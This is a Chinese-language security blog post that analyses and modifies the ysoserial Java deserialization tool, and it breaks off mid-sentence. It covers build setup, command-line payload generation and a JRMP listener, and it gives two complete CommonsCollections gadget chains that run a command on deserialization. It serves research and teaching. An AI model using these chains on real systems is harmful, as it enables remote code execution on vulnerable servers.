工具分析 | ysoserial 分析与魔改

2024-12-07 58 0

前言

ysoserial被称为java反序列化利用神器, 其 GitHub 为: https://github.com/frohoff/ysoserial

今天对其进行一个分析以及魔改, 把公用的工具转化为自己的工具. 当利用链越来越多的时候, 我们难免需要扩展自己的利用链, 例如: 在 Shiro 中对一种 CC 链进行了魔改, 其原因则是实战中需要使用《无数组的CC》链, 但实际上使用ysoserial本身的链子是失效的.

工具分析 | ysoserial 分析与魔改插图

以及在 RMI 中 对 JEP290 的绕过, 实际上在ysoserial这款工具中并没有绕过JEP290, 所以对ysoserial的魔改也是至关重要的, 本次的分析与魔改也将该条链子加入到魔改成功的ysoserial中.

文章目录如下:

工具分析 | ysoserial 分析与魔改插图1

工具分析与魔改

在这里将记载工具分析的整个过程, 从最基本的ysoserial使用开始.

ysoserial 使用方法

当然在这里需要再唠叨一下ysoserial的使用方式, 因为后面我们分析时, 会通过使用方式来进行分析框架到底干了些什么事情.

首先是打印部分, 当我们执行java -jar ysoserial.jar时, 会打印出帮助信息:

工具分析 | ysoserial 分析与魔改插图2

那么假设我需要commons-collections这条链子的时候, 我选择使用CommonsCollections2这条链路, 那么就应该这样调用:java -jar ysoserial.jar CommonsCollections2 "calc"

工具分析 | ysoserial 分析与魔改插图3

如果想要将其保存为二进制文件, 直接使用 > 重定向即可, 所以在调用时特别方便. 再然后就是使用ysoserial进行RMI监听了, 我们看一下是如何进行监听的:

java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 监听端口 CommonsCollections4(使用什么链路) "calc"

可以进行一个端口监听, 进行打二次反序列化操作.

工具分析 | ysoserial 分析与魔改插图4

那么接下来我们来看一下这款工具的具体实现, 其中将分析这两个模块 (生成 payload && RMI 端口监听)的使用.

关于分析之前的一些问题

在这里由于打包之前没有仔细看README.MD描述说明, 踩了一些坑, 在这里记录下来.

编译环境说明

可以看一下官网 github ,其中是这样说明的:

工具分析 | ysoserial 分析与魔改插图5

这里笔者的环境为:jdk8u131 + Maven 3.9.6完全可行.

这里的Maven是使用的IDEA内置的Maven, 它位于IDEA安装目录\plugins\maven\lib\maven3下, 而由于我们要通过命令行进行编译, 所以增加一个环境变量IDEA安装目录\plugins\maven\lib\maven3\bin, 因为mvn在该目录下. 可以在命令行中使用mvn即说明配置完毕:

工具分析 | ysoserial 分析与魔改插图6

当然, 如果要配置Maven的阿里云仓库可以在IDEA安装目录\plugins\maven\lib\maven3\conf\settings.xml进行配置.

-DskipTests 选项说明

根据官网说明, 我们需要使用mvn clean package -DskipTests进行打包, 那么为什么必须加上-DskipTests, 而 IDEA 中一键打包出错呢?

在使用mvn package进行编译、打包时,Maven会执行src/test/java中的JUnit测试用例,有时为了跳过测试,会使用参数-DskipTests和-Dmaven.test.skip=true,这两个参数的主要区别是:

-DskipTests,不执行测试用例,但编译测试用例类生成相应的class文件至target/test-classes下。

-Dmaven.test.skip=true,不执行测试用例,也不编译测试用例类。

这里我们可以创建一个项目进行看一下使用Maven插件一键打包与加上-DskipTests的区别, 创建pom.xml文件:

<build>
    <finalName>${project.artifactId}</finalName>
    <plugins>
        <plugin>
            <artifactId>maven-assembly-plugin</artifactId>
            <configuration>
                <archive>
                    <manifestFile>${project.basedir}/src/main/resources/META-INF/MANIFEST.MF</manifestFile>
                    <!-- 需本地创建 /META-INF/MANIFEST.MF 文件 -->
                </archive>
                <descriptorRefs>
                    <descriptorRef>jar-with-dependencies</descriptorRef>
                </descriptorRefs>
            </configuration>
            <executions>
                <execution>
                    <id>make-assembly</id> <!-- this is used for inheritance merges -->
                    <phase>package</phase> <!-- bind to the packaging phase -->
                    <goals>
                        <goal>single</goal>
                    </goals>
                </execution>
            </executions>
        </plugin>
    </plugins>
</build>

<dependencies>
    <dependency>
        <groupId>junit</groupId>
        <artifactId>junit</artifactId>
        <version>4.13.2</version>
        <scope>runtime</scope>
    </dependency>
</dependencies>

在这里准备了一个 junit 环境, 并且配置了 maven-assembly-plugin 打包插件. 当然需要定义/resources/META-INF/MANIFEST.MF文件, 内容如下:

Main-Class: com.heihu577.Main

定义完毕之后, 定义com.heihu577.Main类并且定义main方法即可, 过程不再演示.

接下来在src/test/java目录中进行定义测试类, 随后进行编译:

工具分析 | ysoserial 分析与魔改插图7

最终打包成功了, 但会执行Junit测试, 而如果使用-DskipTests则可以跳过src/test/java进行打包:

工具分析 | ysoserial 分析与魔改插图8

ysoserialsrc/test/java下定义了许多类, 会导致编译时报错, 从而中止打包, 这也是加上该参数的原因.

CC3 与 CC4 共存

其实在这里笔者有一个疑惑, 就是为什么CC3 & CC4能够共存生成payload, 想要知道使用了什么技术, 那么定义pom.xml文件内容如下:

<dependencies>
	<dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
</dependencies>

随后定义两个测试类:

// CC3
public class Main {
    public static Object t1() throws Exception {
        Transformer[] transformerChain = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
                    new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
                    new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec",
                    new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
        HashMap<Object, Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer); // 创建一个 lazyMap 对象
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "heihu577");
        BadAttributeValueExpException o = new BadAttributeValueExpException(null); // 防止构造方法中就调用 toString
        Field val = o.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(o, tiedMapEntry); // 避开构造方法之后, 通过反射改回来恶意对象
        return o;
    }

    public static void main(String[] args) throws Exception {
        Object o = t1();
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        new ObjectOutputStream(byteArrayOutputStream).writeObject(o);
        new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())).readObject();
    }
}

以及:

// CC4
public class Main2 {
    public static Object t2() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        bytecodes.setAccessible(true);
        byte[][] myBytes = new byte[1][];
        myBytes[0] = Repository.lookupClass(Evil.class).getBytes();
        /* Evil.java 文件内容:
        	public class Evil extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{
                static {
                    try {
                        Runtime.getRuntime().exec("calc");
                    } catch (IOException e) {
                        throw new RuntimeException(e);
                    }
                }
                @Override
                public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
                @Override
                public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
            } */
        bytecodes.set(templates, myBytes);
        name.set(templates, "");

        ConstantTransformer tmpTransformer = new ConstantTransformer(TrAXFilter.class);
        TransformingComparator transformingComparator = new TransformingComparator((org.apache.commons.collections4.Transformer) tmpTransformer, new NullComparator());
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add("heihu");
        priorityQueue.add("577");
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        });
        Field transformer = transformingComparator.getClass().getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator, chainedTransformer);
        return priorityQueue;
    }
    public static void main(String[] args) throws Exception {
        Object o = t2();
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        new ObjectOutputStream(byteArrayOutputStream).writeObject(o);
        new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())).readObject();
    }
}

实际上两个环境都是可以进行弹出计算器的, 在测试时, 发现仅仅只是CC3 & CC4作者开发时定义了不同的包名, 从而把这块两个依赖区分开来了, 如图:

工具分析 | ysoserial 分析与魔改插图9

那么解决一些疑点之后, 开始分析ysoserial这款工具到底做了什么. 以及应该如何进行魔改.

ysoserial 生成的 payload 失效问题

在 Windows 系统中, 如果使用powershell生成payload, 那么在本地调试readObject方法会报错, 这个原因可以参考: https://www.bilibili.com/opus/976270642228756486

所以在分析与调试时, 尽量使用cmd命令行进行调试, 以免陷入自我怀疑 2333...

源码解析 & 魔改方式

程序入口

分析程序入口很容易, 我们只需要看一下打包时MANIFEST所指明的主类即可, 打开pom.xml文件进行定位:

<plugin>
    <artifactId>maven-assembly-plugin</artifactId>
    <configuration>
        <finalName>${project.artifactId}-${project.version}-all</finalName>
        <appendAssemblyId>false</appendAssemblyId>
        <archive>
            <manifest>
                <mainClass>ysoserial.GeneratePayload</mainClass>
                <!-- 程序入口 -->
            </manifest>
        </archive>
        <descriptors>
            <descriptor>assembly.xml</descriptor>						
        </descriptors>
    </configuration>
    <executions>
        <execution>
            <id>make-assembly</id>
            <phase>package</phase>
            <goals>
                <goal>single</goal>
            </goals>
        </execution>
    </executions>
</plugin>

打印帮助信息

当我们键入java -jar ysoserial.jar时, 我们可以知道的是, 会调用到程序入口类的main方法, 从上面的maven-assembly-plugin插件可以看到的是程序入口为ysoserial.GeneratePayload这个类.

关于包扫描

为什么这里突然聊到关于包扫描了呢?原因则是分析ysoserial.GeneratePayload时, 涉及到了第三方扫描库reflections, 所以在这里对于reflections的使用提前做一些说明, 在ysoserial中的pom.xml文件中可以搜到对它的引用:

<dependency>
    <groupId>org.reflections</groupId>
    <artifactId>reflections</artifactId>
    <version>0.9.9</version>
</dependency>

那么它怎么用呢?那就需要用新项目来说明它的基本使用方式了. 将下面类都定义在com.bean包中:

public interface Animal {
    void call();
}

public interface AnimalExtend extends Animal {
}

public class Cat implements Animal {
    @Override
    public void call() {
        System.out.println("喵喵喵~");
    }
}

public class Dog implements Animal{
    @Override
    public void call() {
        System.out.println("汪汪汪~");
    }
}

public abstract class Pig implements Animal {
}

那么我们需要定义一个程序, 进行包扫描, 将com.bean目录下的所有实现了Animal接口的类全部提取出来, 我们应该如下定义:

/**
 * 通过原生 Class 进行包扫描逻辑, 程序只是针对当前情况, 可能有些许 bug
 * @return
 * @throws ClassNotFoundException
 */
public static Set<Class<? extends Animal>> getAnimalsByClass() throws ClassNotFoundException {
    HashSet<Class<? extends Animal>> hsset = new HashSet<>();
    URL url = MyScanner.class.getClassLoader().getResource(
            Animal.class.getPackage().getName().replace(".", "/")
    ); // 通过 ClassLoader 来得到存放目录
    String path = url.getPath();
    File file = new File(path);
    if (file.isDirectory()) { // 如果是目录则进行遍历
        String[] classesFile = file.list(); // 得到目录的每一个.class文件
        for (String classFile : classesFile) {
            if (classFile.endsWith(".class")) {
                String className = Animal.class.getPackage().getName() + "." + classFile.replace(".class", "");
                // 将 .class 文件转换为 Class.forName 可识别的字符
                Class<? extends Animal> clazz = (Class<? extends Animal>) Class.forName(className);
                // 生成 Class
                Type[] genericInterfaces = clazz.getGenericInterfaces();
                if (genericInterfaces.length > 0) {
                    Type genericInterface = genericInterfaces[0];
                     // 判断是否实现了 Animal 接口
                    if (genericInterface.getTypeName().equals(Animal.class.getName())) {
                        hsset.add(clazz);
                    }
                }
            }
        }
    }
    return hsset;
}

public static void main(String[] args) throws ClassNotFoundException {
    Set<Class<? extends Animal>> animalsByReflection = getAnimalsByClass();
    // [class com.bean.Cat, interface com.bean.AnimalExtend, class com.bean.Dog, class com.bean.Pig]
    System.out.println(animalsByReflection);
}

通过原生的Class当然可以实现, 但目前仅仅是针对当前情况 (扫描实现了 Animal 接口的类), 也没有加入其他判断: 例如, 是否为某个类的子类等逻辑, 程序已经很复杂了, 那么为了解决当前这种情况, 我们可以使用上面的reflections类库, 编写如下代码:

/**
 * 通过 Reflections 依赖进行包扫描, 考虑全面, 使用简单.
 * @return
 */
public static Set<Class<? extends Animal>> getAnimalsByReflections() {
    Reflections reflections = new Reflections(Animal.class.getPackage().getName()); // 指明扫描包
    Set<Class<? extends Animal>> animals = reflections.getSubTypesOf(Animal.class); // 得到 Animal 的所有子类
    return animals;
}

public static void main(String[] args) throws ClassNotFoundException {
    Set<Class<? extends Animal>> animalsByReflections = getAnimalsByReflections();
    // [class com.bean.Cat, interface com.bean.AnimalExtend, class com.bean.Dog, class com.bean.Pig]
    System.out.println(animalsByReflections);
}

可以看到Reflections这个包对于包扫描来说方便了不少, 它的常用方法如下:

// 初始化工具类
Reflections reflections = new Reflections(new ConfigurationBuilder().forPackages(basePackages).addScanners(new SubTypesScanner()).addScanners(new FieldAnnotationsScanner()));
// 获取某个包下类型注解对应的类
Set<Class<?>> typeClass = reflections.getTypesAnnotatedWith(RpcInterface.class, true);
// 获取子类
Set<Class<? extends SomeType>> subTypes = reflections.getSubTypesOf(SomeType.class);
// 获取注解对应的方法
Set<Method> resources =reflections.getMethodsAnnotatedWith(SomeAnnotation.class);
// 获取注解对应的字段
Set<Field> ids = reflections.getFieldsAnnotatedWith(javax.persistence.Id.class);
// 获取特定参数对应的方法
Set<Method> someMethods = reflections.getMethodsMatchParams(long.class, int.class);
Set<Method> voidMethods = reflections.getMethodsReturn(void.class);
Set<Method> pathParamMethods = reflections.getMethodsWithAnyParamAnnotated(PathParam.class);
// 获取资源文件
Set<String> properties = reflections.getResources(Pattern.compile(".*\\.properties"));

那么接下来看一下打印帮助信息功能模块的具体实现.

源码刨析 ysoserial.GeneratePayload.printUsage 方法 [欢迎信息打印]

直接定位到程序入口ysoserial.GeneratePayload进行分析:

工具分析 | ysoserial 分析与魔改插图10

如果没有任何参数的传递的话, 那么则会调用到printUsage()方法, 这里重点关注一下这个方法, 是如何将程序信息输出到控制台的. 它的


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

MACOBOX:一款针对硬件安全的多合一渗透测试工具箱
Matildapp:针对Web 3.0环境的网络安全与渗透测试框架
Jumpserver_decrypto: 解密 Jumpserver ssh配置的开源工具
向日葵远程控制软件远程代码执行漏洞复现(CNVD-2022-10270, CNVD-2022-03672)
Kafka UI三大RCE高危漏洞分析
PbootCMS V3.2.9前台SQL注入漏洞(上)

发布评论